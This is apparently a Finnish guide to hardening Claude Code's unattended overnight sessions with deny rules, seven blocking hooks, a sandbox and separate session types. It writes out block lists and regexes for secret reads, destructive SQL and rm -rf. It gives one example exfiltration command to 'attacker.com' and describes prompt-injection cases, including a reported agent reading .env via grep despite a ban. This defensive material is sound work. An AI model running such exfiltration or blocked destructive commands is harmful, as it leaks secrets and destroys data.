Tekoälyagenttien kyberturvallisuus: 7 hookia Claude Coden yöajoihin

Mikä muuttuu vuonna 2026: itsenäisesti toimiva Claude Code ja todelliset tapaukset#

Aiemmin Claude Code pysähtyi jokaisen vastauksen jälkeen ja pyysi lupaa jokaiseen kirjoitukseen. Se oli hankalaa mutta turvallista: et voinut nukkua vahingossa vaaratilanteen ohi, koska agentti odotti ”kyllä”-vastaustasi. Vuonna 2026 tämä malli muuttui. Anthropic toi käyttöön auto-mode-tilan — erillinen luokittelija-agentti päättää puolestasi, sallitaanko kukin toiminto. Mukaan tuli myös /loop-komento (kehotteen suorittaminen säännöllisin väliajoin istunnon aikana) sekä /schedule (pitkäkestoisten tehtävien cron-tyylinen ajastus). Komennolla claude --bg käynnistetyt taustasessiot suorittavat agenttia taustalla ilman päätettä. Käsittelin itsenäistä tilaa yksityiskohtaisesti oppaassa ”/goal Claude Codessa: itsenäinen tila ja Agent View”.

Itsenäinen toiminta otettiin käyttöön ennen kuin tietoturva ehti mukaan.

Samaan aikaan Anthropicin repositoriossa on avoinna kaksi virhettä, jotka kannattaa tuntea ennen permissions.deny-säännön lisäämistä settings.json-tiedostoon:

• Issue #44868 (7. huhtikuuta 2026): Claude Code lukee .env-tiedoston sisältöä komennolla grep -n keskustelulokiin, vaikka CLAUDE.md-tiedostossa on nimenomainen kielto. Virhe on avoinna.
• Issue #24846 (11. helmikuuta 2026): .env*-kuvioille määritettyjä permissions.read.deny-sääntöjä ei sovelleta — Read lukee .env.local-tiedoston oikein määritetystä estokuviosta huolimatta. Issue suljettiin kaksoiskappaleena, mutta sitä ei korjattu.

Nämä kaksi puutetta osoittavat, miksi yksi settings.json-suojakerros ei riitä. Seuraavaksi on nelikerroksinen malli: käyttöoikeudet + hookit + hiekkalaatikko + istuntojen erottelu. Kukin voi vähentää altistusta, mutta mikään ei tee muista kerroksista täydellisiä. Mainittu auto-mode-arviointi ei todista regex-hookin havaitsevan sen ohittamia toimia. Käytä tuotannossa eristettyä käyttöjärjestelmäympäristöä ilman tuotantotunnisteita tai kirjoituspääsyä, pakota verkkorajoitukset mallin ulkopuolella ja testaa rajat ennen valvomatonta ajoa.

Mitkä ovat projektin vihreä ja punainen vyöhyke?#

Saman suojauksen rakentaminen jokaiseen projektiin on turhaa. Paikallinen harrasteprojekti koneellasi, jota ei ole otettu käyttöön ulkoisesti, sisältää aivan eri tason riskin kuin palvelu, joka käsittelee oikeita maksuja ja tallentaa asiakastietoja. Jos käytät samaa suojausta kaikkialla, hidastat toimintaa vihreällä vyöhykkeellä ja jätät silti aukkoja punaiseen vyöhykkeeseen.

Projekti vaihtuu vihreästä punaiseksi heti, kun vähintään yksi kolmesta ehdosta täyttyy: palveluun tulee aktiivisia asiakkaita, järjestelmän kautta alkaa kulkea rahaa tai tietokanta sisältää henkilötietoja. Siihen asti voit käyttää auto-mode-tilaa ja vähimmäismäärää hookeja ilman hiekkalaatikkoa. Sen jälkeen suojaus täytyy rakentaa uudelleen tämän oppaan kaikkien ohjeiden mukaisesti.

Pääperiaate: suojaustaso määräytyy vyöhykkeen mukaan. Kehitysvaiheella ei ole merkitystä. Koneellasi oleva harrasteprojekti, jossa käytetään testikäyttöön tarkoitettua Stripe-tiliä, kuuluu vihreälle vyöhykkeelle. Palvelu, jolla on yksi maksava asiakas ja rekisteröintilomake, kuuluu jo punaiselle vyöhykkeelle, vaikka se näyttäisi yhä ”luonnokselta”. Vyöhykkeiden sekoittaminen on tavallinen sudenkuoppa alkuvaiheen projekteissa: ”projekti on vielä luonnosvaiheessa, lisätään suojaus myöhemmin”, ja ensimmäinen asiakas maksaa jo ensi viikolla.

Miten käyttöoikeuksien hierarkia toimii tiedostossa settings.json?#

Anthropic kuvaa käyttöoikeuksien arviointihierarkian virallisessa dokumentaatiossaan: ensin tarkistetaan deny-säännöt, sitten ask ja lopuksi allow — ensimmäinen täsmäävä sääntö ratkaisee. Tämä tarkoittaa, että deny ohittaa aina allow-säännön. Jos kiellät .env-tiedoston lukemisen tiedostossa ~/.claude/settings.json ja joku lisää allow-säännön projektin .claude/settings.json-tiedostoon, sinun kieltoasi noudatetaan hänen sallivan sääntönsä sijaan.

Esimerkki turvallisesta vähimmäismäärän asetuksia sisältävästä käyttäjätason tiedostosta ~/.claude/settings.json:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Mitä tässä tapahtuu? Kuusi ensimmäistä sääntöä estävät salaisten tiedostojen lukemisen nykyisessä hakemistossa ja kaikissa sen alihakemistoissa. *.pem- ja *.key-tiedostot ovat SSL/TLS- ja SSH-avaimia. credentials*.json on pilvipalveluntarjoajien yleisesti käyttämä tiedostonimi. Kolme viimeistä ovat järjestelmähakemistoja, joissa on SSH-avaimia, AWS-tunnuksia ja GPG-avaimia.

Avain disableBypassPermissionsMode: "disable" estää --dangerously-skip-permissions-valitsimen (tunnetaan myös YOLO-tilana). Näin poistetaan yksi virheluokka lopullisesti: vaikka lisäisit valitsimen vahingossa skriptiin tai aliakseen, Claude Code kieltäytyy hyväksymästä sitä. Se ei pelkästään poista valitsinta — se palauttaa virheen “mode disabled by managed settings”.

Lisäksi versiosta 2.1.142 lähtien avain defaultMode: "auto" ohitetaan, jos se on projektin tai paikallisissa asetuksissa. Tämä suojaa tilanteelta, jossa siirtyisit jonkun toisen repositorioon, jonka .claude/settings.json-tiedostossa automaattinen tila on otettu käyttöön oletuksena. Anthropic on sanonut nimenomaisesti, etteivät repositoriot voi ottaa auto-modea käyttöön ilman käyttäjän suostumusta.

Tämä on ensimmäinen suojalinja. Siihen ei voi pysähtyä, koska siinä on kaksi puutetta, joista kerrotaan seuraavaksi.

Miksi permissions.deny ei riitä: 2 avointa GitHub-issuea#

Jos permissions.deny toimisi, oppaan voisi päättää edelliseen osioon. Se ei toimi.

RCushmanniin issue #44868 (7. huhtikuuta 2026): käyttäjä lisäsi CLAUDE.md-tiedostoon nimenomaisen kiellon lukea .env-, .dev.vars- ja muita salaisuuksia sisältäviä tiedostoja. Read-työkalun sijasta Claude suoritti komennon grep -n SOMETHING .env. grep -n tulostaa koko täsmäävän rivin numeron kanssa — myös varsinaisen API-tunnuksen. Rivi päätyy tool_result-tulokseen, näkyy istunnon keskustelulokissa ja tallentuu historiaan. Raportin lainaus:

Hienovarainen mutta tärkeä huomio: mallin turvallisuusreaktio käynnistyy vasta, kun tuloste on jo tuotettu, eikä ennen komennon suorittamista. Toisin sanoen Claude suorittaa ensin grep-komennon, saa rivin, joka sisältää tunnuksen, ja tulostaa sen keskusteluun — vasta sen jälkeen se huomaa virheensä ja ”pahoittelee”. Siinä vaiheessa tunnus on jo keskusteluhistoriassa. Ainoa ratkaisu on vaihtaa avain.

Issue suljettiin kaksoiskappaleena, mutta sitä ei korjattu. Tätä opasta kirjoitettaessa (kesäkuussa 2026) ongelma on edelleen toistettavissa.

Johtopäätös: settings.json-tiedoston ensimmäinen kerros ei ole turha, mutta nämä esimerkit eivät mittaa sen estämien tahattomien lukujen osuutta. Se ei kuitenkaan estä Bash-komentoja (cat .env, grep API_KEY .env, head .env), sääntöjen valvonnan virheitä (issue #24846) eikä ovelia ketjuja, joissa käytetään git diff- tai git show-komentoa .env-tiedoston sisältävässä commitissa. Siksi tarvitaan toinen kerros — hookit.

Miten hookit voivat estää tunnistettuja vaarallisia toimia?#

Hookit toimivat eri abstraktiotasolla kuin käyttöoikeudet. Käyttöoikeudet ovat sääntöjä, jotka malli ottaa huomioon päättäessään, mitä se tekee. Hook toimii toisin: malli päättää kutsua työkalua, hook suoritetaan mallin ja järjestelmän välissä, tarkistaa syötteen ja joko sallii tai estää toiminnon. Malli ei osallistu hookin päätökseen — kyseessä on itse kirjoittamasi komentotulkkikoodi.

Anthropic kuvaa estämisen toimintaa virallisessa hook-dokumentaatiossaan:

Tämä tarkoittaa kahta asiaa. Ensinnäkin oikein määritetty estävä hook voi hylätä täsmäävän työkalukutsun. PreToolUse-tapahtumassa paluuarvo 2 estää kyseisen kutsun. Se ei todista skriptin tunnistavan jokaista vastaavaa vaarallista komentoa. Toiseksi voit kirjoittaa merkityksellisen viestin stderr-virtaan, jolloin Claude lukee sen virheenä ja yrittää toista lähestymistapaa. Hook ei siis ole pelkkä ”aita”, vaan ”aita, jossa on kyltti selittämässä, miksi siitä ei pääse läpi”.

Tapahtumat, jotka voidaan estää palauttamalla poistumiskoodi 2:

• PreToolUse—estää työkalukutsun ennen suoritusta. Puolustavien hookien ensisijainen tapahtuma.
• PermissionRequest—hylkää toiminnon, johon Claude pyysi lupaa.
• UserPromptSubmit—estää ja poistaa käyttäjän kehotteen. Hyödyllinen, jos kehotteessa on epäilyttävää tekstiä (esimerkiksi istutettuun sähköpostiin piilotettu kehoteinjektio).
• Stop—estää Claudea päättämästä istuntoa. Tätä voi käyttää ”silmukkana”, joka pitää agentin työssä, kunnes ehto täyttyy.
• PreCompact—estää kontekstin automaattisen tiivistämisen. Hyödyllinen, jos haluat säilyttää keskustelulokin manuaaliseen päätökseen asti.
• WorktreeCreate—hylkää worktreen luonnin. Suojaa siltä, että Claude yrittää kloonata repositorion odottamattomaan paikkaan.

Poistumiskoodin 2 vaihtoehtona voi palauttaa JSONia, jossa on hookSpecificOutput.permissionDecision-kenttä. permissionDecision voi saada neljä arvoa:

• allow—sallii toiminnon nimenomaisesti ja ohittaa normaalin käyttöoikeuskulun.
• deny—estää toiminnon; vastaa PreToolUse-tapahtumassa poistumiskoodia 2.
• ask—siirtää päätöksen käyttäjälle (näkyviin tulee valintaikkuna).
• defer—siirtää päätöksen normaalille käyttöoikeuslogiikalle.

Näin hook saa enemmän hallintaa kuin pelkällä poistumiskoodilla. Kun käytössä on permissionDecision: "ask", voit muuttaa hiljaiset toiminnot vahvistusta vaativiksi estämättä niitä kokonaan. Näin teen komennolle npm install <new package> ja lukitustiedoston muutoksille.

Jos haluat oppia lisää hookien toiminnasta ja siitä, mitkä Claude Codessa tällä hetkellä käytettävissä olevat 31 tapahtumaa ovat, käsittelin niitä erillisessä oppaassa ”Hookit Claude Codessa: 7 valmista sääntöä kopioitavaksi”. Seuraavaksi esittelen konkreettiset hookit itsenäistä työskentelyä varten.

Mitä 7 hookia käytän yötyöskentelyyn?#

Tämä on toinen suojakerros, joka täydentää ensimmäistä. Kaikki hookit sijoitetaan hakemistoon .claude/hooks/, rekisteröidään tiedostossa .claude/settings.json, ja ne edellyttävät jq:n asennusta.

Hook 1: Estä .env-, .pem- ja credentials.json-tiedostojen lukeminen

Lisää tarkistuksia valituille Read-poluille ja tavallisille Bashin salaisuuslukukomennoille. Se ei tunnista jokaista työkalua tai tapaa lukea salaisuus. Tiedosto: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Rekisteröinti tiedostossa .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Suorita asennuksen jälkeen chmod +x .claude/hooks/block-secret-reads.sh. Testi: pyydä Claudea lukemaan .env.local — saat vastauksen ”Secret file. Use op:// references or env vars.” tiedoston sisällön sijaan.

Hook 2: Estä kirjaimelliset git push -kutsut yön yli ajettavissa istunnoissa

Tämä esimerkki estää valvomattomassa istunnossa varovaisesti jokaisen tunnistamansa kirjaimellisen git push -kutsun, myös ominaisuushaaraan. Se ei yritä päätellä nykyistä haaraa tai voimalipun turvallisuutta. Tiedosto: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Rekisteröi PreToolUse-tapahtumaan Bash-valitsimella. Esimerkki estää tunnistetun push-komennon jäsentämättä lippuja tai haaranimiä. Siksi se havaitsee muodot git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main ja kirjaimellisen pushin &&- tai ;-ketjussa. Nämä ovat verkottomia tekstintäsmäytysesimerkkejä, eivät etäpalvelimelle suoritettavia komentoja.

Tämä on yhä tekstiheuristiikka. Git-aliakset, komentotulkkifunktiot, git -C ... push, rakennetut komentonimet, skriptit ja muut työkalut voivat ohittaa sen. Se ei ole täydellinen komentotulkin jäsennin. Pakota suojattujen haarojen säännöt Git-palvelimella, poista ne ohittavat tunnistetiedot ja aja valvomaton työ eristetyssä ympäristössä ilman tuotannon kirjoituspääsyä. Hookin tunnistamatta jäänyt komento ei saa antaa tuotantovaltuutta.

Hook 3: Estä tuhoisat SQL-toiminnot

Käsittelee suoraan pudonneiden tietokantojen tapauksia. Tiedosto: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Rekisteröi: PreToolUse valitsimella matcher: "Bash". Huomaa ero: DROP ja DELETE ilman WHERE-ehtoa estetään kokonaan, kun taas UPDATE ilman WHERE-ehtoa muuttuu ask-tilaan — se voi joskus olla hyväksyttävä (esimerkiksi kaikkien tietueiden lipun asettaminen migraatiossa), mutta vaatii aina manuaalisen vahvistuksen.

Hook 4: rm -rf -suodatin

Canonical-esimerkki Anthropicin dokumentaatiosta, muokattuna estämään toiminto ja antamaan syy:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook sallii komennot rm -rf node_modules, rm -rf .next/cache ja muut rajatusti kohdistetut poistot. Se estää komennot rm -rf ., rm -rf /, rm -rf ~ sekä vastaavat ”pyyhi kaikki” -komennot.

Hook 5: Vahvista uusien pakettien asentaminen

Tämä hook ehkäisee toimitusketjuhyökkäyksiä. Jos Claude päättää omasta aloitteestaan lisätä uuden riippuvuuden, näkyviin tulee valintaikkuna:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hook sallii lukitustiedostojen asennukset vapaasti, mutta uuden riippuvuuden lisääminen vaatii vahvistuksen.

Hook 6: Suojaa package.json-tiedosto ja lukitustiedosto

Kaikki riippuvuusluettelon muutokset ovat merkki siitä, että jonkun pitäisi tarkistaa ne. Varsinkin yön aikana.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Rekisteröi hook tapahtumalle PreToolUse valitsimilla Write|Edit.

Hook 7: Päästä päähän ulottuva kaikkien Bash-kutsujen auditointiloki

Jos yön aikana tapahtuu jotain, tarvitset täydellisen lokin tapahtumaketjun selvittämiseksi. Rekisteröi hook tiedostossa settings.json (erillistä skriptiä ei tarvita; jq hoitaa kaiken):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

.claude/audit.jsonl kasvaa rivi kerrallaan. Yöllä käynnistetyn /loop-ajon jälkeen voit aamulla suorittaa komennon tail -n 100 .claude/audit.jsonl | jq ja nähdä, mitä agentti teki missäkin vaiheessa. Tämä on tärkeää tapahtumien jälkikäsittelyä varten, sillä istunnon keskusteluloki voi olla pitkä ja vaikeasti luettava, kun taas auditointiloki antaa selkeän aikajanan.

Miten hiekkalaatikko ja worktree-eristys suojaavat pitkiä istuntoja?#

Jos hookit ovat ”aita, jossa on kyltti”, hiekkalaatikko on ”aita + vallihauta + lennokkiverkko”. Se on neljäs suojakerros, joka kattaa tilanteet, joissa hook päästää toiminnon läpi, mutta sen suorittaminenkaan ei saisi aiheuttaa haittaa ympäristön ulkopuolella.

Anthropic raportoi sisäisistä mittauksistaan hiekkalaatikkoa käsittelevässä blogikirjoituksessaan (20. lokakuuta 2025):

Tämä tarkoittaa, että kun otat käyttöön /sandbox-komennon, Claude lakkaa pyytämästä lupaa 84 %:ssa toiminnoista, koska niitä ei voi fyysisesti suorittaa hiekkalaatikon ulkopuolella. Tämä on hyödyllistä nopeuden kannalta, mutta se ei ole hiekkalaatikon tärkein etu.

Hiekkalaatikko tarjoaa kaksi eristystasoa, joilla kummallakin on oma tehtävänsä:

Tiedostojärjestelmän eristys rajoittaa lukemisen ja kirjoittamisen nimenomaisesti sallittuihin hakemistoihin. Vaikka hook ei havaitsisi yritystä kirjoittaa tiedostoon /etc/hosts tai lukea tiedostoa ~/.ssh/id_rsa, hiekkalaatikko estää järjestelmäkutsun. Suojaus toimii käyttöjärjestelmätasolla. Sovelluskerros ei näe sitä.

Verkkoeristys sallii yhteydet vain hyväksyttyihin palvelimiin. Tämä on ratkaisevan tärkeää tietojen ulossiirtohyökkäysten torjumiseksi. Esimerkkitilanne: istutettuun tiedostoon piilotettu kehoteinjektio huijaa Claudea lukemaan .env-tiedoston (hook ei havaitse sitä, koska lukeminen tehdään epätavallista reittiä pitkin), minkä jälkeen malli päättää suorittaa komennon curl -X POST attacker.com -d "$ENV_CONTENT". Ilman verkkoeristystä tämä onnistuu. Verkkoeristyksen kanssa curl ei pääse palvelimelle attacker.com, koska palvelinta ei ole luettelossa.

Käynnistä hiekkalaatikko Claude Codessa komennolla /sandbox. Määritä se tiedostossa ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Komennolla claude --bg käynnistettyihin pitkäkestoisiin taustaistuntoihin kannattaa lisätä worktree-eristys hiekkalaatikon lisäksi. Tämä on Claude Coden oma mekanismi: jokainen taustaistunto siirretään automaattisesti omaan haaraansa, joka luodaan hakemistoon .claude/worktrees/<name>/. Näin rinnakkaiset istunnot eivät kirjoita samoihin tiedostoihin toistensa päälle. Käsittelin worktree-eristystä yksityiskohtaisesti oppaassa ”Agent View ja worktreet: Claude Coden itsenäinen tila”.

Hiekkalaatikko on osa palautekehää. Kun Claude tietää, että sen toimia on rajoitettu, se työskentelee huolellisemmin ja kertoo välivaiheistaan selkeämmin.

Missä auto-mode toimii vuonna 2026 ja missä ei?#

Maaliskuussa 2026 Anthropic toi auto-mode-tilan käyttöön ”keskitienä manuaalisen tarkastelun ja suojakaiteettomuuden välillä”. Se on erillinen Sonnet 4.6 -malli, joka arvioi jokaisen Claude-toiminnon kriteerien perusteella ennen sen suorittamista. Anthropic kuvasi toimintaperiaatetta Anthropic Engineering -blogissa:

Auto-mode-tilassa on kaksi tärkeää rajoitusta:

• Jos istuntoon kertyy 3 peräkkäistä tai yhteensä 20 luokittelijan hylkäystä, malli pysähtyy ja siirtää asian ihmiselle. Tämä suojaa tilanteelta, jossa ”Claude kiertää estoa kokeilemalla 100 eri muotoilua samasta komennosta”.
• Auto-mode sallii toiminnon, jos se muistuttaa 93-prosenttisesti tyypillisiä tapauksia, jotka käyttäjät muutenkin hyväksyvät. Tämä vähentää lupaväsymystä, mutta ei suojaa epätyypillisiltä vaarallisilta toimilta.

Ja tässä on tärkein huomioitava luku:

Raportoitu 17% on kyseisen arvioinnin väärien negatiivisten osuus, ei jokaisen oman projektisi toimen todennäköisyys. Se ei osoita näytehookien tunnistavan ohitettuja toimia. Punaisella vyöhykkeellä valvomaton työ tarvitsee pakotetun eristyksen tuotantokirjoituksista ja salaisuuksista, palvelimen suojatut haarat sekä tunnisteet, jotka eivät ohita sääntöjä.

Käytännön johtopäätös: käytä hookeja lisätarkistuksina hävitettävässä palautettavassa ympäristössä. Myös paikallinen projekti voi sisältää seuraamattomia tiedostoja tai tunnistetietoja, joita Git ei palauta. Punaisella vyöhykkeellä todellisten pääsyrajojen pitää rajata hookin ohitus. Regex-kokoelma ei muuta mielivaltaista komentotulkkisuoritusta deterministiseksi turvallisuustakuuksi.

Miksi eri tehtävätyypit kannattaa erottaa kolmeksi istuntotyypiksi?#

Kolmen tehtävätyypin ei pitäisi koskaan olla samassa istunnossa:

Tyyppi 1: henkilötietojen käsittely. Istunnolla on pääsy tuotantotietokantaan, se voi lähettää sähköpostia ja näkee tunnistetiedot. Sillä EI ole pääsyä ulkoisiin asiakirjoihin (sähköposteihin, PDF-tiedostoihin tai verkkosivuihin), EIKÄ se VOI lähettää tietoja mielivaltaisiin osoitteisiin.

Tyyppi 2: ulkoisten asiakirjojen käsittely. Istunto voi jäsentää saapuvia sähköposteja, ladata verkkosivuja ja lukea sähköpostien liitteenä olevia PDF-tiedostoja. Sillä EI ole pääsyä henkilötietoja sisältävään tietokantaan, EIKÄ se VOI lähettää mitään ulkoisesti ilman nimenomaista vahvistusta.

Tyyppi 3: ulkoinen julkaiseminen. Istunto voi julkaista sisältöä sosiaalisissa verkostoissa, lähettää sähköpostikampanjoita ja luoda pull requesteja. Sillä EI ole pääsyä henkilötietoihin, EIKÄ se käsittele saapuvaa sisältöä.

Miksi erottaa ne? Jos yksi istunto tekee kaiken, istutettuun PDF-tiedostoon piilotettu yksittäinen kehoteinjektio (kilpaileva toimisto lähetti ”laskun”) riittää siihen, että agentti lukee kerralla asiakastietokantasi, etsii sieltä asiakkaiden sähköpostiosoitteet ja lähettää ne hyökkääjän osoitteeseen. Ketjun kukin toiminto on asianmukainen omalle tehtävätyypilleen. Yhdessä ne muodostavat tietovuodon.

Käytännössä tämä toteutetaan käyttämällä eri .claude-hakemistoja eri tehtävätyypeille. Pidän koneellani kolmea kokoonpanoa: ~/projects/business-ops/.claude/ (tyyppi 1, pääsy tietokantaan, verkkoyhteys estetty sisäisiä rajapintoja lukuun ottamatta), ~/projects/inbox-parsing/.claude/ (tyyppi 2, kaikki verkkoyhteydet estetty), ~/projects/social-posting/.claude/ (tyyppi 3, verkkoyhteys sallittu Telegram- ja Slack-rajapinnoille). Kukin hakemisto on Claude Codelle erillinen projekti, jolla on omat käyttöoikeudet ja hookit.

Mitkä 12 tarkistuslistan kohtaa käyn läpi ennen /loop-komentoa?#

1. Käyttäjätason deny-säännöt sisältävä ~/.claude/settings.json, jossa estetään .env*, *.pem, *.key, credentials*.json, ~/.ssh/** ja ~/.aws/**. Tämä on perusta; ilman sitä muut toimet ovat turhia.

2. disableBypassPermissionsMode: "disable" tiedostossa ~/.claude/settings.json. Estää YOLO-valitsimen lopullisesti.

3. block-secret-reads.sh-esimerkit on testattu valituilla salaisuuslukukomennoilla. Oikeat salaisuudet ja tuotantotunnisteet ovat valvomattoman ympäristön pääsyn ulkopuolella.

4. block-force-push.sh-esimerkki estää tunnistetut kirjaimelliset pushit lippujärjestyksestä tai kohteesta riippumatta. Git-palvelin pakottaa suojatut haarat ja tunnisteet, jotka eivät ohita sääntöjä.

5. block-destructive-sql.sh-hook komennoille DROP TABLE, TRUNCATE ja DELETE FROM ilman WHERE-ehtoa.

6. block-rm-rf.sh-hook komennolle rm -rf ilman nimenomaista kohderajausta.

7. ask-on-new-deps.sh-hook komennolle npm install <new package> (erillinen komennosta npm install ilman argumentteja).

8. ask-on-lockfile-change.sh-hook kirjoituksille tiedostoihin package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml ja Cargo.toml.

9. Kaikki Bash-, Write- ja Edit-kutsut kattava loki audit.jsonl. Ilman sitä tapahtumien jälkikäsittely on mahdotonta.

10. Kaikki pitkäkestoiset taustaistunnot suoritetaan worktreessä, ei päähaarassa: claude --bg "task" luo worktreen automaattisesti, mutta tarkista, ettei settings.json sisällä asetusta worktree.bgIsolation: "none".

11. /sandbox ennen pitkäkestoisen itsenäisen tehtävän käynnistämistä. Tiedostojärjestelmän käyttö rajoitetaan projektihakemistoon ja /tmp-hakemistoon. Verkon sallittujen kohteiden luetteloon lisätään api.anthropic.com, github.com ja registry.npmjs.org.

12. Tehtävässä on tarkistusvaihe: jokaisen merkittävän muutoksen jälkeen suoritetaan testiajuri tai lintteri. Jos ne epäonnistuvat, agentti ei jatka, ennen kuin ongelmat on korjattu.

Viimeinen kohta kuvaa työskentelytapaa, ei työkalun asetusta. Anna Claudelle keino tarkistaa työnsä. Ilman tarkistusta yön yli toimiva agentti voi jatkaa työskentelyä huomaamatta virheitä. Tarkistuksen avulla se ei jatka, ennen kuin tarkistus onnistuu.

7 vältettävää toimintatapaa#

1. --dangerously-skip-permissions tuotantoon pääsevässä isäntäkoneessa. Browningstreet menetti sekä tuotanto- että kehitystietokantansa yhdellä ”siivoa”-komennolla. Virheen seurauksena palauttamiseen voi kulua tuntikausia, ja tietoja voi kadota sellaisten joukossa, joita ei ole varmuuskopioitu. Jos vahinko on jo tapahtunut, avaa opas ”Mitä tehdä, jos tekoäly poisti tietokannan: palautuksen tarkistuslista” ja noudata sen 10 vaihetta järjestyksessä.

2. Vain CLAUDE.md-tiedostoon luottaminen tietoturvassa. Issue #44868 osoitti, että malli toimii ensin ja pahoittelee vasta sitten. Tekstitiedostossa oleva ohje ei estä työkalukutsua. Oikein määritetty hook voi estää täsmäävät kutsut, kun taas käyttöjärjestelmän, hiekkalaatikon ja palvelun pääsyrajoitukset pakottavat laajemmat rajat. CLAUDE.md on tärkeä projektin kontekstin kannalta — käsittelin sitä erikseen oppaassa ”CLAUDE.md-tiedoston oikeaoppinen määrittäminen” — mutta se ei suojaa itsenäiseltä agentilta.

3. Pelkkään settings.json-tiedoston permissions.deny-sääntöön luottaminen ilman hookia. Issue #24846 on ollut avoinna helmikuusta 2026 lähtien. .env*-tiedostojen eston voi kiertää Bashin grep-komennolla. Hook voi lisätä tarkistuksia, mutta salaisuudet on suljettava myös valvomattoman ympäristön ulkopuolelle. Regex ei korvaa pääsynhallintaa täydellisesti.

